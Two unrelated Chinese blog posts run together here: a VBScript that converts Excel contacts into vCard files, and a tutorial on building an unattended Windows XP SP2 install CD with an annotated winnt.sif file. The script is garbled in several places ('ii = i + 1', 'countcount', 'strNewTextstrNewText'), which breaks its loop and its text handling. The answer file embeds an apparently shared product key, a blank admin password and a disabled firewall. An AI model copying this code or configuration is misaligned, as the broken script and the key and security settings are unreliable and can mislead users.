只需要在上面的内容中输入自己联系人信息就可以了,但是一个个输入工作量太大也不太现实,所以就想到了做一个小脚本从Excel表格中一个个去“拿”数据,并且自动做成一个个vCards文件将这些文件拷贝到手机卡就可以导入了,非安卓手机必须一个个导入,安卓可以支持合并的联系人文件导入(批量导入),并且安卓系统支持VCF LABEL字段,所以整个程序设计起来就分为了安卓与非安卓两个方案。 实现过程: 1.数据源:就一个Excel表格,第一次可能需要自己花些时间将自己的联系人输入到程序指定的Excel中。 2.VCF模板 通过复制VCF标准模板,程序将读取到得数据替换模板的内容,最终保存为VCF联系人。 3.读取Excel数据并制成VCF的脚本 Const ForReading=1 Const ForWriting=2 Const ForAppending=8 Const OverwriteExisting = True Const DeleteReadOnly = True Varsystem = UCase(InputBox("请选择你的手机系统." & VbCrLf & "1.Android." & VbCrLf & "2.Other.")) If Varsystem = "" then wscript.quit End If If Not IsNumeric(Varsystem) then wscript.echo "你的输入有误" wscript.quit End If If Varsystem >=3 then wscript.echo "请输入数字1-2" wscript.quit End If Select Case Varsystem Case 1 strStatus = "Android" Case 2 strStatus = "Other" End Select 'Define VcfFolder Path StrVcfFolder = "vCards" Set objFSO = CreateObject("Scripting.FileSystemObject") If not objFSO.FolderExists(StrVcfFolder) Then Set objFolder = objFSO.CreateFolder(StrVcfFolder) End If 'Define data and path Set objShell = CreateObject("Wscript.Shell") strCurPath = objShell.CurrentDirectory strDataPath = strCurPath & "\Data" strxlsfile = strDataPath & "\Contact.xls" strTempPath = strCurPath & "\templet" strTempfile = strTempPath & "\" & strStatus & ".vcf" stroldvcfs = strCurPath & "\vCards\*.*" 'Delete old vcf files Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.DeleteFile(stroldvcfs), DeleteReadOnly 'locate source data file Set objExcel = CreateObject("Excel.Application") Set objWorkbook = objExcel.Workbooks.Open(strxlsfile) Set objWorksheet = objWorkbook.Worksheets(1) Dim i, count i = 3 count = 0 Do Until objExcel.Cells(i, 1).Value = "" strFullname = objExcel.Cells(i, 1).Value strLastname = objExcel.Cells(i, 2).Value strFirstname = objExcel.Cells(i, 3).Value strAlias = objExcel.Cells(i, 4).Value strPrimaryCell = objExcel.Cells(i, 5).Value strSecondaryCell = objExcel.Cells(i, 6).Value strWorkNum1 = objExcel.Cells(i, 7).Value strWorkNum2 = objExcel.Cells(i, 8).Value strWorkFax = objExcel.Cells(i, 9).Value strHomeNum1 = objExcel.Cells(i, 10).Value strHomeNum2 = objExcel.Cells(i, 11).Value strHomeFax = objExcel.Cells(i, 12).Value strRadioNum = objExcel.Cells(i, 13).Value strISDNNum = objExcel.Cells(i, 14).Value strEmail1 = objExcel.Cells(i, 15).Value strEmail2 = objExcel.Cells(i, 16).Value strEmail3 = objExcel.Cells(i, 17).Value strWebsite = objExcel.Cells(i, 18).Value strOrganization = objExcel.Cells(i, 19).Value strGrade = objExcel.Cells(i, 20).Value strQQnum = objExcel.Cells(i, 21).Value strMSNum = objExcel.Cells(i, 22).Value strGoogletalk = objExcel.Cells(i, 23).Value strBirthday = objExcel.Cells(i, 24).Value strWorkStreet3 = objExcel.Cells(i, 25).Value strWorkStreet2 = objExcel.Cells(i, 26).Value strWorkStreet1 = objExcel.Cells(i, 27).Value strWorkCity = objExcel.Cells(i, 28).Value strWorkProvince = objExcel.Cells(i, 29).Value strWorkPostalcode = objExcel.Cells(i, 30).Value strWorkState = objExcel.Cells(i, 31).Value strHomeStreet3 = objExcel.Cells(i, 32).Value strHomeStreet2 = objExcel.Cells(i, 33).Value strHomeStreet1 = objExcel.Cells(i, 34).Value strHomeCity = objExcel.Cells(i, 35).Value strHomeProvince = objExcel.Cells(i, 36).Value strHomePostalcode = objExcel.Cells(i, 37).Value strHomeState = objExcel.Cells(i, 38).Value 'copy from templet.vcf strFilename = objExcel.Cells(i, 1).Value & ".vcf" strDstPathfile = strCurPath & "\" & StrVcfFolder & "\" & strFilename Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.CopyFile strTempfile, strDstPathfile, OverwriteExisting '=========================================================1 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Fullname", strFullname) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================2 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Lastname", strLastname) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================3 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Firstname", strFirstname) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================4 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Alias", strAlias) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================5 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "PrimaryCell", strPrimaryCell) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================6 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "SecondaryCell", strSecondaryCell) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================7 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkNum1", strWorkNum1) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================8 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkNum2", strWorkNum2) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '=========================================================9 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkFax", strWorkFax) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================10 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeNum1", strHomeNum1) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================11 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeNum2", strHomeNum2) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================12 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeFax", strHomeFax) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================13 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "RadioNum", strRadioNum) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================14 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "ISDNNum", strISDNNum) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================15 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Email1", strEmail1) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================16 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Email2", strEmail2) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================17 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Email3", strEmail3) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================18 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Website", strWebsite) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================19 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Organization", strOrganization) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================20 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Grade", strGrade) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================21 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "QQnum", strQQnum) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================22 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "MSNum", strMSNum) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================23 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Googletalk", strGoogletalk) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================24 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "Birthday", strBirthday) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================25 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkStreet3", strWorkStreet3) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================26 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkStreet2", strWorkStreet2) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================27 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkStreet1", strWorkStreet1) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================28 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkCity", strWorkCity) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================29 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkProvince", strWorkProvince) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================30 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkPostalcode", strWorkPostalcode) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================31 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "WorkState", strWorkState) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================32 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeStreet3", strHomeStreet3) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================33 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeStreet2", strHomeStreet2) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================34 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeStreet1", strHomeStreet1) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================35 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeCity", strHomeCity) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================36 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeProvince", strHomeProvince) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================37 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomePostalcode", strHomePostalcode) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close '========================================================38 Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strDstPathfile, ForReading) strText = objFile.ReadAll objFile.Close strNewText = Replace(strText, "HomeState", strHomeState) Set objFile = objFSO.OpenTextFile(strDstPathfile, ForWriting) objFile.WriteLine strNewText objFile.Close ii = i + 1 countcount = count + 1 Loop objExcel.Quit Wscript.echo "共导入" & count & "个联系人" 到此,单个VCF联系人就制作完毕了,拷贝到手机就可以导入了。 4.合并单个联系人为一个 因为安卓系统支持合并的多联系人VCF文件,所以另写了一个脚本合并所有的联系人。 Set objShell = CreateObject("Wscript.Shell") strCurPath = objShell.CurrentDirectory strVfolder = strCurPath & "\vCards" stroutfile = strCurPath & "\contacts.vcf" strcmd = "copy /B " & strVfolder & "\*.vcf " & stroutfile objShell.Run("%comspec% /c" & strcmd) wscript.sleep 2000 wscript.echo "联系人合成完毕!" 5.合并后发现内容中有很多空行和没有实际数值的行,写了个优化脚本,删除多余的空白行和没有值的行。 思路:先将无值行替换成空行再移除空行比较简单。 On Error Resume Next Const ForReading=1 Const ForWriting=2 'Replace all useless line to blank. Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile("contacts.vcf", ForReading) Do Until objFile.AtEndOfStream strLine = objFile.Readline strLine = Trim(strLine) strRline = Right(strLine, 1) If strRline = ":" Then strnewline = " " Else strnewline = strLine End if strNewTextstrNewText = strNewText & strnewline & vbCrLf Loop objFile.Close Set objFile = objFSO.OpenTextFile("contacts.vcf", ForWriting) objFile.Write strNewText objFile.Close 'Delete all blank line Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile("contacts.vcf", ForReading) Do Until objFile.AtEndOfStream strLine = objFile.Readline strLine = Trim(strLine) If Len(strLine) > 0 Then strNewContentsstrNewContents = strNewContents & strLine & vbCrLf End If Loop objFile.Close Set objFile = objFSO.OpenTextFile("contacts.vcf", ForWriting) objFile.Write strNewContents objFile.Close wscript.echo "优化完毕!" 优化后的vcf就可以导入安卓系统或者上传到google通讯录了。 本文转自yangye1985 51CTO博客,原文链接:http://blog.51cto.com/yangye/728062,如需转载请自行联系原作者
制作多合一集成安装光盘一例:(由于本人水平有限,同时制作比较仓促,以下内容如有错误,还请各位原谅,同时帮我指出,我会立即纠正,谢谢!) 准备工作: 首先我们要用到XP光盘,SP2补丁,Easyboot,UltraEdit,UltraISO,XPlode,苯苯熊软件安装程序,Winimage以 及Nero等软件。其次我们要检查是否有足够的硬盘空间,2个G左右即可。如果满足以上条件,那么你就可以继续我们下面的步骤。 然后我们要集成XP SP2,把XP安装盘内的所有内容拷贝到硬盘的一个目录里,比如d:\winxp。用winrar解压SP2包,解压目录例如如d:\sp2。然后输入 “d:\sp2\i386\updte.exe -s:\winxp”进行集成。(集成过程要在XP环境下进行) 最后我们要制作SP2的启动组,(也可以到微软主页下载)使用集成后的winxp 中 winnt32.exe /noreboot 安装后在c:\有一个目录 &#36;..boot 的目录就是启动软盘组。 开始制作: 我们首先要建立目录结构,有了目录结构,我们再向里面拷贝文件和制作界面等等。(图1) screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" border=0> 相关内容: XZF斑竹的"[原创] 集成 WINDOWS XP SP2 的过程" http://www.ultraiso.com/cgi-bin/topic.cgi?forum=1&topic=4283&show=40 XZF斑竹的"用 EasyBoot 制作 Windows 2000 和 XP N 合 1 详细制作说明 !" http://www.ultraiso.com/cgi-bin/topic.cgi?forum=1&topic=53 菜鸟手记--使用EASYBOOT4.0制作WIN2000 SP4 3IN1 启动光盘 http://www.ultraiso.com/cgi-bin/topic.cgi?forum=1&topic=1195 关于WinXP各文件夹的用途参见: [转贴]Win98/2000/xp光盘各文件夹的作用 http://www.ultraiso.com/cgi-bin/topic.cgi?forum=1&topic=3620 关于光盘的减肥和启动组的制作: 微软破解中心—[原创]重新打造你的XP/2003的安装光盘(精简100M以上哦) http://www.ultraiso.com/cgi-bin/topic.cgi?forum=1&topic=2059 [原创]简易图解N合1集成安装光盘制作教程 [这个贴子最后由lucky0504在 2004/12/29 08:48pm 第 8 次编辑] 然后将XP光盘中的i386内容全部复制到目录结构中的相应目录中,复制软盘组中的全部文件 到Xpro/Home文件夹复制bootfont.bin,win51,win51,win51.sp2这四个文件到根目录,制作多和一要注意,这四个文 件也要放到与i386平行的目录中,即本例的winxp目录.(图2) screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" border=0> 文件复制完毕后,我们开始制作winnt.sif文件,通过它可以使光盘自动完成安装过程,不需要手工干预,这个文件可以通过XP光盘中的setupmgr.exe来制作,也可以直接修改我的: =============================================================================== ;SetupMgrTag [Data] AutomaticUpdates=yes AutoPartition=0 MsDosInitiated=0 UnattendedInstall="Yes" [Unattended] UnattendMode=FullUnattended OemSkipEula=Yes OemPreinstall=Yes TargetPath=\WINDOWS FileSystem=Ignore Repartition=No UnattendSwitch="yes" WaitForReboot="No" OEMPnPDriversPath="Install\Drivers\000_VIA;Install\Drivers\001_LAN;Install\Drivers\002_NVIDIA;Install\Drivers\003_ATI;Install\Drivers\004_SoundMAX" DriverSigningPolicy=Ignore [GuiUnattended] AdminPassword=* EncryptedAdminPassword=NO OEMSkipRegional=1 TimeZone=210 NoWaitAfterTextMode=1 NoWaitAfterGUIMode=1 OemSkipWelcome=1 [UserData] ProductKey=DG8FV-B9TKY-FRT9J-6CRCC-XPQ4G FullName="lucky" OrgName="snake" ComputerName=* [TapiLocation] CountryCode=86 AreaCode=010 [RegionalSettings] LanguageGroup=10 Language=00000804 [Identification] JoinWorkgroup=WORKGROUP [Networking] InstallDefaultComponents=Yes [Components] msmsgs=off msnexplr=off zonegames=off [Shell] DefaultStartPanelOff=Yes [StartupOptions] Offline=0 Registration=1 ============================================================================== 以下转自www.cctips.com 无人值守安装 Winnt.sif 文件命令解释 [Data] AutoPartition=1 or 0 如果你在这里设置为1,Windows的安装程序就会在任意一个有足够可用空间的硬盘分区上 安装操作系统。如果你删除这一行或者把值设置为0,则安装程序会在安装过程中讯问你要把操作系统安装到哪个硬盘分区,并且如果该分区已经包含了一个操作系 统,安装程序也会给你合理建议。 MsDosInitiated = "0" or "1" 如果你在这里设置为0,则会通知安装程序,你是从光盘上安装操作系统的,如果你准备用软盘引导系统并从硬盘上安装,则在这里设置为1。 UnattendedInstall = "Yes" 如果这里设置为Yes,则安装程序会进行一次无人值守安装 AutomaticUpdates=yes 这个设置可以让安装程序在完成安装后跳过帮助保你你的PC页面(SP2中的新功能)。 [Unattended] UnattendMode=FullUnattended 在这里设置为FullUnattended 将会进行一次完全自动的无人值守安装,在安装过程中遇到的所有问题都将由在winnt.sif文件中预设的答案来回答,在安装过程中你将不能改变任何预设 值。其他值得含义你可以在Winnt.sif页所提供的Ref.chm 文件中找到。 OemSkipEula=Yes or No 在这里设置为Yes 将会跳过EULA 屏幕,因为你已经在创建应答文件的时候读过用户许可协议了。在这里设置为No则意味着你需要在安装过程中按F8键同意许可协议。 OemPreinstall=Yes or No 这个选项默认设置为No,但是如果你还想在安装系统的过程中从&#36;OEM&#36;/&#36;1文件夹下安装额外的程序,你就应该把它设置为Yes,这样安装程序就会知道这次的安装会发布其他程序,而预先把相应的安装文件复制到系统盘中。 TargetPath=\WINDOWS 这个选项告诉了安装程序要把Windows安装到哪个目录中。 Repartition=No 这个选项可以选择是否自动删除目标计算机上的所有分区并用NTFS文件系统格式化硬盘。 UnattendSwitch="yes" 这个选项可以用来指定是否跳过Windows欢迎界面,或使用光盘引导的方式预安装Windows XP Home Edition或Windows XP时使用Mini-Setup模式。将该选项设置为“Yes”可以跳过创建网络连接以及创建用户帐户页面。 WaitForReboot="No" 这个选项用来决定计算机是否在图形界面的安装进行完毕后等待15秒。设置为No则可以禁止等待。 OemPnPDriversPath="Drivers\Catalyst3_6\2KXP_INF;Drivers\asus\sound\" 在这一行你可以告诉安装文件到哪里搜索比操作系统自带的驱动程序更新的版本。如果安装程序能找到一个更好的版本,则会自动安装。你可以在驱动程序页面看到更详细的解释。 DriverSigningPolicy=Ignore 这个选项可以强制安装程序安装没有经过WHQL认证的驱动程序。该选项要和OemPnPDriversPath选项联合使用。 AutoActivate = Yes 这个选项可以自动激活你的Windows XP。如果你想要自动激活Windows,你首先必须设置一个Internet连接,而且也要确保你的产品序列号已经写在[UserData]字段下。 ProgramFilesDir="C:\My Program Files" 你可以在这里更改程序安装的默认位置,只要按照你的需要更改盘符和文件夹名即可。 CommonProgramFilesDir="C:\My Program Files\My Common Files" 你可以更改用于保存应用程序通用文件的文件夹的位置。只要按照你的需要更改盘符和文件夹名即可。 KeyboardLayout="United Kingdom" 通过设置你的键盘布局,这样可以避免在你的登录后任务栏上显示语言图标。所有可用的值的列表可以在这里看到。 [GuiUnattended] AdminPassword=YourPassword or * 这个选项可以让你为Windows XP中的Administrator帐户设置密码。如果你在这里输入* 则意味着没有设置任何密码。 EncryptedAdminPassword=Yes or No 这个选项用来告诉安装文件你的密码是否被加密,Yes表示密码被加密了,而No表示密码为被 加密。如果你没有为Administrator帐户设置密码,那么这个选项应该被设置为No。如果你选择了Yes,Setup Manager就会把密码加密保存在winnt.sif文件中。 OEMSkipRegional=0 or 1 这个选项设置为0会显示区域设置屏幕,而设置为1就可以跳过这个屏幕。 TimeZone=85 这个选项告诉安装程序时区的设置,例如GMT标准时间的值是85,每个不同的时区都由相应的数值表示,一个完整的时区和数值对照表可以在部署工具的ref.chm文件中看到。 OemSkipWelcome=0 or 1 如果上面的OemPreinstall选项你设置为No,那么这个选项你就要设置为0;而如 果OemPreinstall选项设置为Yes,则这个选项就要设置为1。如果设置为0,安装程序就会知道你不想在图形界面的安装过程中显示欢迎屏幕。 (注意:这和“Windows欢迎”界面不同,在那里你可以设置你的用户帐户)。 ProfilesDir="C:\Documents and Settings\" 你可以在这里更改Documents and Settings文件夹的默认位置。 [Display] BitsPerPel=32 这个选项指定了屏幕的色彩位数。可用的值有:32,24,16,还有8(也就是256色)。 Xresolution=1024 这个选项指定了屏幕的默认横向分辨率。 Yresolution=768 这个选项指定了屏幕的默认纵向分辨率。 Vrefresh=85 这个选项设置了屏幕的刷新率。请确保这个设置没有超出你的显示器的可用范围,否则很有可能损坏显示器。 [UserData] ProductKey=xxxxx-xxxxx-xxxxx-xxxxx-xxxxx 这个选项告诉了安装程序在安装过程中使用的序列号。 FullName="Insert Name" 这个选项用来指定你的名字,这将会显示在系统属性的”注册给“项目下。 OrgName="Insert Organisation Name" 这个选项可以用来设置你的组织名称,这个也会显示在系统属性的“注册给”项目下。 ComputerName=Insert Name 在这个选项中你可以指定计算机的名称,这个名称会用在系统和网络中,而且该名称也会在系统属性的计算机名选项卡下。 [TapiLocation] CountryCode=44 这个选项用来设置国家代码,例如英国就是44。对于其他国家的代码请参考部署工具中的ref.chm文件。 Dialing=Tone 这个选项用来指定你的电话线路类型,可用的值是Tone和Pulse。 [RegionalSettings] LanguageGroup=1 这个选项用以指定安装的语言组类型,详细信息请参考部署工具中的ref.chm文件。 Language=00000809 这个选项用以指定安装的语言类型,详细信息请参考部署工具中的ref.chm文件。 [Identification] JoinWorkgroup=WORKGROUP 这个选项用以指定将要加入的工作组。如果你没有使用网络,就可以把这个选项保持默认设置。 [Networking] InstallDefaultComponents=Yes or No 这个选项用以告诉安装程序你是否安装默认的网络组件。如果你设置了Yes那么默认的网络组件就会被安装;如果你设置了No就可以自定义要安装的协议、服务还有客户端。配置该选项的最佳方法是通过Setup Manager(setupmgr.exe)。 [Components] msmsgs=off 这个选项可以让安装程序不安装Windows Messenger 4.6。 msnexplr=off 这个选项可以让安装程序不安装MSN Explorer 7。 freecell=off 这个选项可以让安装程序不安装空当接龙游戏。 hearts=off 这个选项可以让安装程序不安装红心大战游戏。 minesweeper=off 这个选项可以让安装程序不安装扫雷游戏。 pinball=off 这个选项可以让安装程序不安装三维弹球游戏。 solitaire=off 这个选项可以让安装程序不安装纸牌游戏。 spider=off 这个选项可以让安装程序不安装蜘蛛纸牌游戏。 zonegames=off 这个选项可以让安装程序不安装MSN Zone在线游戏。 关于完整的组件列表,请参考这里。(感谢DaveXP的帮助完成) [Shell] CustomDefaultThemeFile = "%WinDir%\Resources\Themes\MyTheme.theme" 这个选项用以指定默认情况下Windows 使用的主题,所指定的可以是系统自带的其他主题,或者是第三方的主题。通过指定这个选项,Windows XP在你第一次登陆的时候就可以使用你喜欢的主题了。 DefaultStartPanelOff = Yes 这个选项告诉安装程序Windows XP将会使用经典开始菜单,并且像其他程序一样在桌面上显示我的电脑、我的文档的图标。如果这个选项设置为No,安装程序就会使用默认的Windows XP 开始菜单。 DefaultThemesOff = Yes 这个选项用以告诉安装程序使用Windwos 经典主题。注意:如果你把CustomDefaultThemeFile设置为Yes,那么这个选项将会覆盖CustomDefaultThemeFile 选项。 [GuiRunOnce] %systemdrive%\install\batch_file1.cmd GuiRunOnce 字段是用来指定批处理文件位置的,在这里指定的批处理文件会在安装程序运行完毕并登录系统后运行。 [IEPopupBlocker] AllowedSites=www.msfn.org;www.microsoft.com;www.cctips.com 这个选项可以将站点的地址添加到IE弹出窗口过滤器的白名单,你可以在这里添加任意数量的站点地址,不同地址之间使用半角分号隔开。 BlockPopups=Yes or No BlockPopups可以被设置为Yes或No,默认情况下弹出窗口过滤器是被启用的。 FilterLevel=High, Medium or Low FilterLevel可以设置we以下三个选项:High、Medium还有Low: High - 过滤所有弹出窗口 Medium - 过滤大部分自动打开的弹出窗口(默认值) Low - 允许安全站点上的弹出窗口 ShowInformationBar=Yes or No ShowInformationBar可以被设置为Yes或No。如果一个弹出窗口被过滤,或ActiveX控件的安装企图被阻止,在IE的地址栏下就会显示信息栏。该功能默认是启用的。 [WindowsFirewall] [WindowsFirewall] Profiles = WindowsFirewall.TurnOffFirewall 